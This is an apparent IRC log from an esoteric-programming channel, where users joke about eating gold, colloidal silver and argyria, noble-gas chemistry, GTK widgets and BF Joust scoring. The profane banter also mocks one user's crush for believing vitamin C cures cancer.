18:39:24 <elliott> |o|
18:39:24 <myndzi> ¦ |
18:39:25 <myndzi> ´¸¨ /|
18:39:25 <myndzi> |
18:39:25 <myndzi> |\
18:39:28 <elliott> what the fuck
18:39:33 <nddrylliog> haw haw haw
18:39:51 <Sgeo_> \o/ \o/
18:39:51 <myndzi> | |
18:39:52 <myndzi> /< |\
18:39:59 <Sgeo_> Gruh?
18:40:06 <Sgeo_> \m/ \m/
18:40:06 <myndzi> `\o/´
18:40:06 <myndzi> |
18:40:06 <myndzi> /`¯|_)
18:40:06 <myndzi> (_|
18:40:44 <Phantom_Hoover> pikhq_, ALSO:
18:41:03 <elliott> nddrylliog: ...x-D
18:41:04 <elliott> haw
18:41:04 <Phantom_Hoover> You can use gold for stuff you don't want to corrode.
18:41:09 <elliott> aww
18:41:13 <elliott> i thought it thought "haw" was a face
18:41:14 <Phantom_Hoover> Although I can't actually think of such a thing.
18:42:51 -!- Lymia__ has changed nick to Lymia.
18:42:51 -!- Lymia has quit (Changing host).
18:42:51 -!- Lymia has joined.
18:42:56 <Sgeo_> I'm Henry the Eight I am, Henry the Eighth I am I am
18:43:11 <Sgeo_> What, no one wants to hear me sing?
18:43:19 <Phantom_Hoover> Sgeo_, your apathy to the fact that your girlfriend is going to go back in time, de-age and then become a war correspondent. Also, CHRIST NO
18:43:34 <Phantom_Hoover> Erm, *correspondent disturbs me.
18:44:02 <Sgeo_> {{OOC: I don't know a funny response. My only responds kills the joke}}
18:44:22 <Sgeo_> {{OOC: And yes, I did just use OOC to avoid breaking the context of a joke. Sue me}}
18:45:20 <elliott> Hey nddrylliog
18:45:20 <elliott> ooc
18:45:26 <elliott> Sgeo_ is clearly obsessed with it
18:45:30 <elliott> (SEE: ABOVE)
18:45:47 <elliott> i'm sorry i'll never do that to you again
18:46:19 <Phantom_Hoover> MAYBE HE USES OOC TO TURN HER INTO A BABY
18:48:45 -!- augur has quit (Remote host closed the connection).
18:51:28 <pikhq_> Phantom_Hoover: You can also eat it.
18:51:34 -!- pikhq_ has changed nick to pikhq.
18:51:37 <elliott> What, ooc?
18:51:43 <pikhq> No nutritional value *at all*, but gold is edible.
18:52:26 <elliott> I would totally eat a whole gold bar.
18:52:31 -!- asiekierka has quit (Ping timeout: 276 seconds).
18:52:53 <Phantom_Hoover> You need to slice it up.
18:52:56 <pikhq> elliott: Too hard to bite.
18:53:03 <elliott> I thought it was SOFT.
18:53:07 <pikhq> Gold bar's worth of gold leaf, on the other hand?
18:53:08 <elliott> OK, warm it up a bit so it's softer and slice it up.
18:53:12 <pikhq> elliott: Relatively speaking.
18:53:14 <elliott> Then eat the pieces.
18:53:19 <elliott> WOULD THIS NOT WORK PIKHQ
18:53:24 <Phantom_Hoover> Use a really sharp knife.
18:53:26 <pikhq> Entirely doable.
18:53:38 <elliott> What does it taste like :P
18:53:39 <pikhq> No point at all, aside from being a show of absurd wealth.
18:53:45 <pikhq> Dunno.
18:53:48 <Phantom_Hoover> ALTERNATELY: get a really big hammer and hit it with that.
18:53:58 <Phantom_Hoover> I assume it wouldn't taste of anything.
18:54:16 <Phantom_Hoover> There's nothing to stimulate the taste buds.
18:54:23 <pikhq> Could get some Goldschlager and try.
18:54:32 <pikhq> Sorry, Goldschläger.
18:54:50 <elliott> 07:48:03 <Vorpal> fizzie, defend_9_75 is ... strange
18:54:50 <elliott> 07:48:10 <Vorpal> it is only good at length 10
18:54:51 <elliott> Er. No?
18:54:56 <elliott> Vorpal: ?
18:55:16 <Sgeo_> Well, it's safer than eating silver, surely
18:55:34 <pikhq> Sgeo_: Silver is also entirely safe to consume.
18:55:47 <Sgeo_> Hmm? I thought it turned skin blue
18:56:14 <Phantom_Hoover> Sgeo_, that has to be colloidal silver.
18:56:17 <pikhq> That's "colloidal silver".
18:56:32 <Phantom_Hoover> Which works by literally ending up accumulating in your body.
18:56:54 <pikhq> Which contains a variety of different silver compounds in solution...
18:57:04 <Sgeo_> Ah
18:57:06 <pikhq> Just consuming a chunk of silver does fuck-all.
18:58:00 <pikhq> Oh, apparently chronic consumption of chunks of silver could also cause that.
18:58:06 <Phantom_Hoover> Silver foil might work if you ate tonnes of it, because some would end up in your blood stream.
18:58:09 -!- Lymia_ has joined.
18:58:10 -!- Lymia has quit (Disconnected by services).
18:58:32 <pikhq> But not going to be a big deal unless you're consuming colloidal silver.
18:58:40 -!- Lymia_ has changed nick to Lymia.
18:58:40 -!- Lymia has quit (Changing host).
18:58:40 -!- Lymia has joined.
18:59:16 <Phantom_Hoover> According to WP, it's not a solution of silver compounds, it's a suspension of silver particles.
18:59:41 <Phantom_Hoover> http://en.wikipedia.org/wiki/File:Argyria2.jpg
18:59:43 <Phantom_Hoover> AAAAAAAAAAAAAAAAAAAAA
18:59:58 <pikhq> Anyways, the effect of argyria is caused by accumulation of silver.
18:59:58 <elliott> what the fuck
19:00:00 <Phantom_Hoover> The caption is "eyes blacked to protect identify".
19:00:16 <Phantom_Hoover> I TOTALLY COULDN'T RECOGNISE THEM
19:00:30 <elliott> arjgksdlfgskdfgjklsdfg
19:00:32 <elliott> it hurts
19:00:40 <pikhq> You're not going to accumulate much by chomping down on silver foil.
19:00:49 <elliott> http://en.wikipedia.org/wiki/File:Argyria1.jpg lol
19:01:06 <elliott> Phantom_Hoover: http://en.wikipedia.org/wiki/File:Argyria_2.jpg
19:01:36 <pikhq> elliott: http://news.bbc.co.uk/2/hi/americas/2297471.stm
19:01:36 <Phantom_Hoover> Yeah. Argyria isn't the biggest thing wrong with that guy.
19:01:43 <pikhq> Fucking Montana.
19:01:53 <elliott> pikhq: ...X-D
19:01:59 <Phantom_Hoover> VOTE SMURF
19:02:03 <elliott> He began taking colloidal silver in 1999 amid fears that disruptions caused by the millennium bug might lead to a shortage of antibiotics.
19:02:22 <pikhq> Montana has a higher amount of crazy than average.
19:02:28 <Phantom_Hoover> All antibiotic distribution systems use COBOL.
19:02:34 <Phantom_Hoover> Little known fact.
19:02:36 <Phantom_Hoover> Sgeo_, comment.
19:02:44 <elliott> Anthrax 'treatment'
19:02:45 <elliott> He made the solution by electrically charging two silver wires in a glass of water.
19:02:50 <elliott> "People ask me if it's permanent and if I'm dead," he told the Associated Press news agency. "I tell them I'm practising for Halloween."
19:03:02 <Phantom_Hoover> I can't see how that'd work.
19:03:04 <elliott> Sir, are you dead?
19:03:18 <Sgeo_> I hope KT-AT doesn't get the idea that colloidal silver is a good idea
19:03:19 <Sgeo_> >.>
19:03:38 <Phantom_Hoover> Sgeo_, she doesn't; I've seen pictures of Kate Adie.
19:04:23 <Phantom_Hoover> But yeah, silver ions are positive, so...
19:04:24 <iconmaster> Anyone wanna hear of a esolang idea?
19:04:46 <elliott> Esolangs? Psssht
19:04:49 <elliott> Like we ever talk about esolangs in here
19:04:50 * iconmaster is going on a seqway from colloidal silver.
19:04:54 <elliott> What do you think this is, #esoteric?
19:04:58 <elliott> *segue surely :P
19:05:08 <Phantom_Hoover> Wait, maybe he charged it positively.
19:05:14 <iconmaster> How about... a VM inside of a VM?
19:05:23 <elliott> That's an esolang?
19:05:27 <Phantom_Hoover> Yo dawg I herd u like...
19:05:32 <iconmaster> hear me out...
19:05:41 <Sgeo_> So, I'll just boot up my Windows XP VM, and run some .NET game...
19:06:19 <Phantom_Hoover> Sgeo_, incidentally, I stumbled upon your AW esolang idea while logreading.
19:06:37 <Sgeo_> And?
19:06:47 <Phantom_Hoover> Contrary to my expectations, it was actually quite interesting.
19:06:50 <iconmaster> The outer virtual machine has different bytecodes from the inner one. The outer machine's instructions can effect how the inner one's are executed. To do any meaninful takes, the two VMs have to work together.
19:06:54 <Sgeo_> Phantom_Hoover, which?
19:07:13 <iconmaster> *tasks
19:07:21 <Phantom_Hoover> The "objects have timer and name etc." one.
19:08:07 <iconmaster> Or it could be a n-layerd VM, where the outer one affects how each inner one is executed....
19:08:25 <Sgeo_> That's less disambiguating than I think, but I think you're talking about the language based on that, not the computer built on that
19:08:34 <Phantom_Hoover> Yes, I am.
19:09:05 <elliott> ag.connect_group(ord('q'), gtk.gdk.CONTROL_MASK, 0, gtk.main_quit)
19:09:05 <elliott> self.window.add_accelerator('destroy', ag, ord('q'), gtk.gdk.CONTROL_MASK, 0)
19:09:08 <elliott> I DO NOT LIKE THE INCONSISTENCY HERE
19:09:22 * Sgeo_ doesn't guess GTK+
19:09:27 <Phantom_Hoover> Does Sam Hughes specialise in "CS stuff in PHP" now?
19:09:40 <elliott> CLEARLY
19:09:50 <elliott> <Phantom_Hoover> Sgeo_, incidentally, I stumbled upon your AW esolang idea while logreading.
19:09:51 <elliott> Which one
19:10:00 <Phantom_Hoover> Oh, I was implored by yet another relative not to go into CS.
19:10:04 <Sgeo_> elliott, the one that's an esoang
19:10:06 <Sgeo_> esolang
19:10:07 <elliott> For what reason?
19:10:39 <elliott> Phantom_Hoover?
19:11:16 <elliott> PHANTOM HOVERBOARD, RESPOND
19:11:34 <Sgeo_> elliott, he's a dead president, what do you expect?
19:11:36 -!- augur has joined.
19:11:39 <Phantom_Hoover> elliott, erm, IIRC it's along the lines of "each object has a (non-unique) name and a timer; when the timer goes off they can set their own name to something else and change the timers of objects with a particular name."
19:11:46 <elliott> <Phantom_Hoover> Oh, I was implored by yet another relative not to go into CS.
19:11:48 <elliott> <elliott> For what reason?
19:11:48 <elliott> <elliott> Phantom_Hoover?
19:11:48 <elliott> <elliott> PHANTOM HOVERBOARD, RESPOND
19:11:52 <Phantom_Hoover> Oh, right.
19:12:20 <Phantom_Hoover> Erm, he said that when he was running his company the programmers who did CS were the ones who couldn't actually program.
19:12:55 <Sgeo_> I just had to Wikipedia that Mr. Hoover actually died.
19:13:26 <elliott> False assumption (aiming towards career in codemonkeying) -- check!
19:13:43 <Phantom_Hoover> Yeah, I know.
19:13:45 <elliott> Ridiculous anecdote that probably has no foundation in truth at all -- check!
19:15:42 <pikhq> Phantom_Hoover: Did his company hire degree mill "graduates"?
19:15:48 <Phantom_Hoover> No idea.
19:15:58 <pikhq> Say, University of Phoenix or some such.
19:15:58 -!- elliott has quit (Read error: Connection reset by peer).
19:16:15 <Phantom_Hoover> It was in Ireland and quite a while ago.
19:16:38 -!- elliott has joined.
19:16:43 <pikhq> "Quite a while ago" like... Decades?
19:17:01 <Phantom_Hoover> At least 10 years, probably more.
19:17:41 <pikhq> Hmm. 10 years ago would've been around the time of the dot-com bust.
19:17:53 <pikhq> When you had a good few morons going into CS under the premise that it'd earn them money.
19:18:22 <Phantom_Hoover> Late '80s, apparently.
19:18:39 <Sgeo_> I think that girl on the bus might be one such moron
19:18:56 <Sgeo_> Then again, maybe I was just so bored by our conversation
19:18:56 <pikhq> Ah, so at *this* point there wouldn't even be that many programmers out there, CS degree or not.
19:19:04 <Sgeo_> So... fucking... boring
19:19:22 <Phantom_Hoover> Sgeo_, ah, but that's because you don't know ALL PROGRAMS
19:19:31 <Sgeo_> LOL
19:20:12 <elliott> HOW DO YOU GO TO THE START OF THE LINE IN A GTKTEXTVIEW HOW HOW HOW
19:20:19 <Sgeo_> Funny thing, before that conversation, I was wondering if I'd rather date her than KT-AT
19:20:36 <Sgeo_> Now, for the first time in my life, I'm capable of envisioning a "bad date"
19:20:46 <Phantom_Hoover> XD
19:21:16 <elliott> Sgeo are you actually still wanting to date kt-at.
19:21:20 <pikhq> Oh delicious coffee, how very delicious you are.
19:21:24 <elliott> Sorry, let me rephrase that question.
19:21:33 <elliott> Sgeo, did you drop your brain in a river and then crush it with sticks.
19:22:22 <Sgeo_> ...
19:22:27 <pikhq> Who is this KT-AT, and what is there to suggest that he/she/it is or is not a good idea to date?
19:22:36 <elliott> pikhq: She thinks that Vitamin C cures cancer.
19:22:38 <oerjan> <elliott> i wish the other logreaders were here so i didn't seem like so much of a spammer :D <-- i didn't bother to logread more than searching for my nick today. as a general rule, the longer the logs the less likely i browse all of them.
19:22:48 <pikhq> elliott: AAAAGH NO NO NO NO NO NO.
19:22:50 <elliott> pikhq: She herself is a cancer survivor who survived with the power of things like "chemotherapy" and "modern scientific medicine".
19:23:00 <pikhq> elliott: AAAAAGH
19:23:14 <pikhq> Sgeo_: I'd sooner get a penectomy than date her.
19:23:27 <elliott> Sgeo has yet to flick the "on" switch attached to his brain and still wants to date her for reasons unexplainable by modern science.
19:23:32 <elliott> oerjan: psht
19:23:36 <pikhq> elliott: Boner. Definitely boner.
19:23:48 <pikhq> Sgeo_: Don't stick your dick in crazy.
19:23:54 <elliott> [insert Joker's-boner picture here]
19:23:59 <pikhq> elliott: :)
19:23:59 <elliott> http://www.redshirt.co.uk/wp-content/uploads/batman6.jpg
19:24:17 <Sgeo_> I think she might be more gullible than crazy
19:24:41 <pikhq> Sgeo_: She has still shown a rather severe lack of reasoning ability.
19:25:25 <elliott> It takes more than gullibility to believe that cancer treatment is all a scam by Big Pharma because -- Vitamin C does the job just fine!
19:25:26 <pikhq> Though I guess it could be *worse*.
19:25:34 <elliott> It requires gullibility, and at least one of insanity, or idiocy.
19:25:45 <Phantom_Hoover> elliott, well, not as bad as the free energy nuts.
19:25:57 <elliott> Phantom_Hoover: At least they're not actively harmful.
19:26:05 <elliott> Nobody died by creating a false perpetual motion machine.
19:26:11 <Phantom_Hoover> "THE POWER COMPANIES PREFER USING OIL TO MAKING A PROFIT"
19:26:17 <elliott> If a cancer patient decided that they're just gonna drink a bunch of orange juice...
19:26:17 <pikhq> At least it's entirely plausible vitamin C has *some* effect on cancer.
19:26:21 <elliott> They would die. Of cancer.
19:26:22 <elliott> As in, dead.
19:26:35 <elliott> Because of some gullible/idiot/moron/crazies.
19:26:43 <pikhq> (most likely in the form of prevention than anything else.)
19:26:53 <elliott> pikhq: Oh, don't encourage him.
19:27:01 <elliott> "WELL MAYBE KT-AT IS JUST A VISIONARY"
19:27:21 <oerjan> <elliott> `addquote <nddrylliog> back to legal tender, [...] <-- YOU BEAT ME THERE
19:27:27 <Sgeo_> Do you really think that's something I'd say?
19:27:33 <elliott> oerjan: :D
19:27:44 -!- pikhq_ has joined.
19:27:49 <pikhq_> Just not as bad as, say, believers in faith healing.
19:27:52 <Phantom_Hoover> Oh god, I just realised I have 6 TV Tropes tabs open.
19:28:34 <pikhq_> Hmm. Y'know, I bet a tunnel over UDP wouldn't show this "drop connection LAWL" BS.
19:28:50 <pikhq_> (I'm *pretty* sure at least part of the issue is that the NAT is dropping state)
19:29:43 <pikhq_> Shame that SCTP adoption isn't likely.
19:30:11 <pikhq_> Though SCTP-over-UDP adoption is entirely possible, simply requiring someone to choose to do so when writing some new service.
19:31:49 -!- pikhq has quit (Ping timeout: 272 seconds).
19:31:52 <oerjan> <pikhq> No point at all, aside from being a show of absurd wealth. <-- yeah i read some people actually do it...
19:31:54 <elliott> pikhq_: Wait, it can't be boner, unless Sgeo is just really irrational: <Sgeo> I have some reason to believe KT-AT may be abstinence-only, but I'm not certain
19:31:58 <elliott> ONLY SCIENCE CAN SOLVE THIS MYSTERY.
19:32:18 <Phantom_Hoover> Sgeo_, is she a religious nutcase?
19:32:38 <pikhq_> oerjan: Actually, small quantities of gold or silver for food decoration aren't that absurd.
19:32:56 <elliott> MY CONNECTION KEEPS DROPPING
19:32:57 <Sgeo_> Phantom_Hoover, religious, but not nutcase, as far as I can tell
19:33:01 <pikhq_> oerjan: Mostly because in the quantities needed for *decoration*, you're talking maybe $10.
19:33:11 <elliott> Sgeo: Uh, we've already established that she's a nutcase.
19:33:18 <pikhq_> Sure, not going to be common even then, but it's not exactly a show of ostentatious wealth there.
19:33:26 <ais523> technically, gold would be poisonous if it got into the body somehow
19:33:33 <ais523> but it's "safe" to eat because humans are incapable of digesting it
19:33:36 <Sgeo_> ais523, wait what?
19:33:37 <elliott> So an abstinence-only religious nutcase who thinks Vitamin C cures cancer... have fun with that, Sgeo_.
19:33:41 <Phantom_Hoover> elliott, yeah, but "religious nutcase" != religious /\ nutcase
19:33:52 <elliott> Phantom_Hoover: Yes, but "but not nutcase, as far as I can tell"
19:34:01 <pikhq_> Sgeo_: If it somehow got into the blood it could plausibly cause issues?
19:34:13 <pikhq_> ais523: It's... Kinda inert.
19:34:15 <Sgeo_> As in, not "religious nutcase" as far as I can tell
19:34:17 <ais523> pikhq_: indeed
19:34:28 <ais523> but if you somehow get it to react, the salts are dangerous
19:34:28 -!- elliott has quit (Read error: Connection reset by peer).
19:34:36 <ais523> on the other hand, the only things gold dissolves in would kill you much more quickly
19:34:38 <pikhq_> Oh, yes, the salts can be quite dangerous.
19:34:56 <pikhq_> Thought not all...
19:35:12 -!- elliott has joined.
19:35:18 <elliott> pikhq_
19:35:21 <elliott> it's not your connection
19:35:23 <nddrylliog> oerjan: <3
19:35:24 <elliott> it's happening to me too :D
19:35:28 <Phantom_Hoover> pikhq_, presumably due to the only things that will react with gold being able to react with *everything*.
19:35:43 <pikhq_> Certain gold salts are used to treat arthritis, after all...
19:35:49 <Sgeo_> What can react with helium?
19:36:19 <Phantom_Hoover> http://en.wikipedia.org/wiki/Noble_gas_compound
19:36:23 <pikhq_> Sgeo_: Fluorine?
19:36:33 <Phantom_Hoover> pikhq_, not according to that article.
19:36:33 -!- elliott has quit (Read error: Connection reset by peer).
19:36:41 <pikhq_> Phantom_Hoover: Good guess though.
19:36:50 <Phantom_Hoover> There are some which could theoretically be stable at very low temperatures.
19:37:01 <pikhq_> Fluorine is definitely the most *likely* to react with any noble gas.
19:37:06 -!- elliott has joined.
19:37:06 -!- elliott has quit (Read error: Connection reset by peer).
19:37:07 <ais523> I don't think anyone's managed to react anything with helium yet
19:37:23 <ais523> noble gases seem to most easily react with fluorine in first and oxygen in second
19:37:32 <oerjan> <Sgeo_> elliott, he's a dead president, what do you expect? <-- wait how did i never get that reference before... Phantom_Hoover, is that the actual source?
19:37:42 <pikhq_> ais523: Makes sense.
19:37:48 -!- elliott has joined.
19:37:50 <elliott> What's KT-AT's opinion on fluoride in water
19:37:51 <Phantom_Hoover> Absolutely nothing with neon, even in theory; HArF, KrF_2 and a tonne of xenon compounds.
19:37:53 <pikhq_> The two most reactive elements, after all.
19:37:55 <Phantom_Hoover> oerjan, no.
19:37:59 <Sgeo_> "Helium can form unstable compounds, known as excimers"
19:38:02 <Phantom_Hoover> It's just a silly name I made up years ago.
19:38:19 <ais523> fluoride is a lot safer than fluorine, as it's reacted already
19:38:27 <Sgeo_> elliott, no idea
19:38:39 <Phantom_Hoover> Fluoride is just F^-, surely?
19:38:43 <pikhq_> Fullerene compounds!
19:38:46 <oerjan> huh wait the famous hoover was _not_ the president...
19:39:05 <pikhq_> Noble gas in the middle of the buckyball.
19:39:21 <pikhq_> He@C60. This is a real compound.
19:39:21 <pikhq_> :)
19:39:21 <Phantom_Hoover> Not compounds in the normal sense.
19:39:39 <pikhq_> Phantom_Hoover: Thus the unusual notation.
19:39:51 <elliott> oerjan: yeah Phantom_Hoover is clearly named after the one who made vacuums.
19:40:31 <pikhq_> Certainly, the C60 has not reacted with the He in any way.
19:40:40 <pikhq_> It just happened to form around it.
19:40:43 * Phantom_Hoover hates chemistry
19:40:59 <pikhq_> I find chemistry quite fascinating when it's not mandatory.
19:41:30 <Phantom_Hoover> Well. The problem is that there are blindingly obvious exceptions to any abstractions at all.
19:41:55 <pikhq_> Okay, true, that is a problem.
19:42:14 <pikhq_> Which is why I hate formal study of it. :P
19:42:25 <Phantom_Hoover> Well, yeah.
19:42:37 <pikhq_> Physics is quite a bit nicer in that respect.
19:42:54 <pikhq_> Your exceptions come when things get *really* small, *really* big, or *really* fast.
19:43:01 <elliott> WHY IS GTKSOURCEVIEW SO DAMN COMPLICATED
19:43:08 <oerjan> <pikhq> Oh delicious coffee, how very delicious you are. <-- but _i_ am drinking yummy, yummy, ice coffee latte
19:43:09 <elliott> Maybe using Scintilla would be easier.
19:43:30 <pikhq_> And even then, you just start having a different set of relevant abstractions.
19:44:09 <fizzie> But if you ask a physicist about a molecule more complicated than hydrogen, he'll just shrug and approximate all over the place.
19:44:33 <Phantom_Hoover> fizzie, *atom.
19:44:37 <pikhq_> fizzie: Because that's chemistry. :P
19:44:46 <pikhq_> And fundamentally uninteresting to most of them.
19:44:55 <pikhq_> (exception, nuclear physicists.)
19:44:57 <oerjan> <elliott> pikhq: She thinks that Vitamin C cures cancer. <-- THAT'S JUST AN INDICATION THAT SHE'S A GENIUS, LIKE LINUS PAULING
19:45:00 <Phantom_Hoover> I won't mock you for that because it'll probably turn out to be a language thing and then I'll look like an idiot.
19:45:04 <fizzie> Phantom_Hoover: It's just a special case of a molecule. :p
19:45:22 <pikhq_> Phantom_Hoover: He could actually be referring to molecular hydrogen, anyways.
19:45:27 <pikhq_> ... Erm.
19:45:28 <pikhq_> No.
19:45:30 <pikhq_> No.
19:45:31 <pikhq_> No.
19:45:33 <fizzie> Certainly they'll be even more confused when multiple atoms are involved.
19:45:35 <elliott> oerjan: and if she believes in synchronicity, she'll be even more of a genius, like Ørjan Johansen!
19:45:37 <elliott> wait.
19:45:44 * elliott was kicked by oerjan (RABBLE RABBLE RABBLE)
19:45:51 <Phantom_Hoover> Well, there is that particle physics meaning of "molecule".
19:46:10 <pikhq_> Does hydrogen even form compounds with itself?
19:46:15 <Phantom_Hoover> pikhq_, -_-
19:46:29 <pikhq_> Oh, dur, of course it does.
19:46:30 <fizzie> 2. atom, molecule, particle, corpuscle, mote, speck -- ((nontechnical usage) a tiny piece of anything)
19:46:31 <pikhq_> H2.
19:47:58 <elliott> argh where are the scintilla wrappers...
19:48:25 <Phantom_Hoover> THINGS THAT NOÖNE WITHOUT A DEGREE IN PHYSICS UNDERSTANDS: the weak nuclear force.
19:48:30 <elliott> sigh. nothing in ubuntu
19:49:35 <oerjan> <elliott> Nobody died by creating a false perpetual motion machine. <-- i _do_ recall reading this story of such a machine that exploded during demonstration because the narrator refused to let the scamster plug in (or was it de-plug) the cord that "supposedly" only fed the measuring device. i think it killed an innocent bystander, too, but not the creator himself.
19:50:01 <elliott> oerjan: It exploded because it... got no power?
19:50:16 <elliott> De-plug would make more sense... but the narrator would /want/ to see it deplugged to see it in action.
19:50:22 <elliott> YOUR MEMORY I THINK IS INACCURATE
19:50:32 <oerjan> <Phantom_Hoover> Oh god, I just realised I have 6 TV Tropes tabs open. <-- AMATEUR
19:50:53 <Phantom_Hoover> Well, I thought I was relatively immune to that kind of thing./
19:50:59 <oerjan> (admittedly i haven't succumbed that hard to tvtropes in quite a while)
19:51:13 -!- Lymia_ has joined.
19:51:22 -!- Lymia has quit (Disconnected by services).
19:51:23 -!- Lymia_ has changed nick to Lymia.
19:51:23 -!- Lymia has quit (Changing host).
19:51:23 -!- Lymia has joined.
19:51:38 <elliott> sourceforge redesigned again
19:51:39 <Phantom_Hoover> Due to having visited most of the nexus tropes.
19:52:01 <fizzie> I just recall our introductionary quantum mechanics course barely managed to cover the wavefunction for a hydrogen atom (and even that had to invoke functions named after people -- Laguerre polynomials -- always a bad sign -- cf. http://en.wikipedia.org/wiki/Hydrogen_atom#Wavefunction ) analytically, and they were all "beyond this we'll just crunch numbers".
19:52:44 <Sgeo_> I do like the fact that she hugs me, and kisses me near my cheek
19:52:58 <Sgeo_> And I've kissed her on the cheek on occasion
19:53:00 <Phantom_Hoover> elliott, BET YOU WISH YOU HAD SGEO ON IGNORE NOW
19:53:07 <Phantom_Hoover> "Near" your cheek.
19:53:17 <Phantom_Hoover> I can't even mock that, it's so stupid.
19:53:20 <Sgeo_> I don't think her lips ever actually touched me
19:53:39 <elliott> Phantom_Hoover: I actually do.
19:53:46 <Phantom_Hoover> elliott, BE THANKFUL
19:53:55 <Phantom_Hoover> Sgeo_, smear your face with vitamin C.
19:54:00 <oerjan> <nddrylliog> oerjan: <3 <-- what was that about?
19:54:02 <Phantom_Hoover> She won't be able to resist.
19:54:20 <elliott> oerjan: addquote i assume
19:54:25 <fizzie> Phantom_Hoover: I have just one tvtropes page open in elinks, but my tvtropes.txt "queue" has 38 tvtropes.org URLs waiting for processing.
19:54:25 <nddrylliog> oerjan: <oerjan> <elliott> `addquote <nddrylliog> back to legal tender, [...] <-- YOU BEAT ME THERE
19:55:10 <Vorpal> err wait what? *looks for context*
19:55:34 <elliott> `addquote <fizzie> Phantom_Hoover: I have just one tvtropes page open in elinks, but my tvtropes.txt "queue" has 38 tvtropes.org URLs waiting for processing.
19:55:53 <Phantom_Hoover> Wait, you actually use a console browser
19:55:55 <Phantom_Hoover> *?
19:56:10 <Vorpal> <elliott> 07:48:10 <Vorpal> it is only good at length 10 <-- well that was what fizzie's graph indicated. It lost more than it won for the other ones.
19:56:23 <HackEgo> 316) <fizzie> Phantom_Hoover: I have just one tvtropes page open in elinks, but my tvtropes.txt "queue" has 38 tvtropes.org URLs waiting for processing.
19:56:40 <elliott> Vorpal: you realise that red = loss
19:56:41 <elliott> blue = win?
19:56:49 <elliott> it does /badly/ at length 10, and well on every other length
19:57:10 <Vorpal> elliott, fizzie reversed colours relative bfjsout iirc.
19:58:13 <Vorpal> elliott, or how do you explain how the king of the hill has so much red in http://zem.fi/~fis/tlpoints19.png ?
19:58:33 <Vorpal> elliott, please read the scale :P
19:58:53 <elliott> I'm pretty sure that's just for that plot.
19:58:55 <Vorpal> elliott, fully blue = -40 points
19:59:08 <elliott> Hmm, has 9.75 fallen that much?
19:59:09 <Vorpal> elliott, that was the plot we were discussing though
19:59:23 <elliott> No, it hasn't, it's at position 11.
19:59:25 <Vorpal> elliott, so your claim about red = loss is wrong in the context you complained
19:59:26 <elliott> 11 22 40.25 9.87 ais523_defend9_75.bfjoust
19:59:54 <Vorpal> elliott, he uses an extended hill iirc?
20:00:02 <Vorpal> elliott, also FFSPG is the leader of the scoreboard and is mostly red in that plot
20:00:44 <fizzie> Phantom_Hoover: Only for tvtropes.
20:00:46 <Vorpal> elliott, In any case according to that plot, 9.75 was/is good at length 10 and worse at longer lengths.
20:01:15 <Vorpal> fizzie, I managed the art of using a graphical browser and not following links on tvtropes
20:01:41 <oerjan> <pikhq_> Does hydrogen even form compounds with itself? <-- do any elements other than the noble gases _not_?
20:01:51 <Vorpal> I only follow links on there if it is required to understand the major points of the article. And I use laconic when it exists.
20:01:51 <Phantom_Hoover> fizzie, XD
20:01:57 <fizzie> And my plot colors are "red = positive, blue = negative", yes.
20:02:05 <fizzie> Phantom_Hoover: It's easier to ignore when it's not in the "main" browser.
20:02:09 <Vorpal> elliott, see. You were wrong :P
20:02:18 <pikhq_> oerjan: Perhaps some of the ones that are too unstable to last more than a few microseconds.
20:02:22 <pikhq_> :P
20:02:26 -!- nddrylliog has quit (Ping timeout: 240 seconds).
20:02:29 <pikhq_> Though this is more a practical concern.
20:02:51 <Phantom_Hoover> Well, depends on how you define "compound".
20:04:23 <oerjan> <elliott> YOUR MEMORY I THINK IS INACCURATE <-- found it, in fact the narrator was feynman: http://www.museumofhoaxes.com/comments/papparticle2.html
20:06:21 <fizzie> Also my results can differ from egojoust because my hill has a bit fewer participants, and also because crank may have bugs. In fact, come to think of it, I probably don't parse the "*-1" thing.
20:07:28 <elliott> oerjan: I like how casually he treats the fatalities in that :P
20:07:41 <elliott> fizzie: -1 = 10,000 for egojoust compliance.
20:07:43 <elliott> Not 100,000.
20:08:28 <fizzie> It's 0 for me. :p
20:08:40 <elliott> Yeaaaaaaaaaah.
20:08:51 <elliott> You might want a working implementation before you start making charts.
20:09:00 <oerjan> <Phantom_Hoover> Sgeo_, smear your face with vitamin C. <-- XD
20:09:05 <fizzie> "grep '\*-1' *.bfjoust" says in my current hill/ only quintopia_chilling uses it.
20:09:19 <elliott> oerjan: It reduces wrinkles or something!
20:09:21 <elliott> I FORGET
20:09:23 <elliott> Ask Phantom_Hoover!
20:09:42 <Phantom_Hoover> Yeah, that as well!
20:09:48 <Phantom_Hoover> IT'S A WIN-WIN SCENARIO
20:10:04 <fizzie> Anyway, the *-1 seems quite an undocumented thing, it's nowhere to be found in http://www.esolangs.org/wiki/BF_Joust unless I'm skipping something.
20:10:12 <elliott> fizzie: Yes, it's a "bug".
20:10:15 <elliott> But we all use it, so now it's OFFICIAL.
20:10:26 <Phantom_Hoover> What does it do?
20:10:33 <elliott> *big
20:10:36 <Phantom_Hoover> http://imgur.com/a/22daV
20:10:43 <elliott> fizzie: Make it *100000 for sanity, as opposed to the egojoust *10000.
20:10:45 <Phantom_Hoover> NEVER DID I THINK I WOULD LUST FOR A SINK
20:10:46 <elliott> Shouldn't really affect any results.
20:14:27 <oerjan> yeah the logical thing is for negative numbers to count as infinity, if anything
20:14:45 <oerjan> which of course is equivalent to the maximum running time
20:15:15 <oerjan> well unless you did that "reverse polarity" thing someone suggested
20:15:38 <oerjan> but that would not be even approximately backwards-compatible
20:16:17 <elliott> reverse polarity?
20:16:22 <elliott> oh right
20:16:22 <elliott> heh
20:16:34 <elliott> yeah it is infinity practically, since most matches don't last longer than 10,000 + a bit :P
20:16:43 <elliott> so the logical 100,000 is now being adopted
20:16:46 <oerjan> elliott: (...)*-n would work like (...)*n, except reversing the polarity of everything inside
20:17:13 <elliott> right
20:17:22 <elliott> oerjan: also inverting > and <
20:17:54 <oerjan> elliott: that seems less useful
20:18:07 <oerjan> that would mean pretending you're your opponent
20:18:07 -!- elliott has quit (Read error: Connection reset by peer).
20:18:26 <oerjan> i guess there could be times when that was appropriate
20:18:35 -!- elliott has joined.
20:18:38 <elliott> oerjan: going forwards minus one times is going backwards once, duh
20:18:42 <oerjan> 21:45 oerjan> elliott: that seems less useful
20:18:42 <oerjan> 21:45 oerjan> that would mean pretending you're your opponent
20:18:42 <oerjan> 21:45 = elliott [~elliott@unaffiliated/elliott] quit (Read error: Connection reset by peer)
20:18:46 <oerjan> 21:46 oerjan> i guess there could be times when that was appropriate
20:18:52 <elliott> FUCKING CONNECTION FUCKNG CONNECTIONG OJSIF
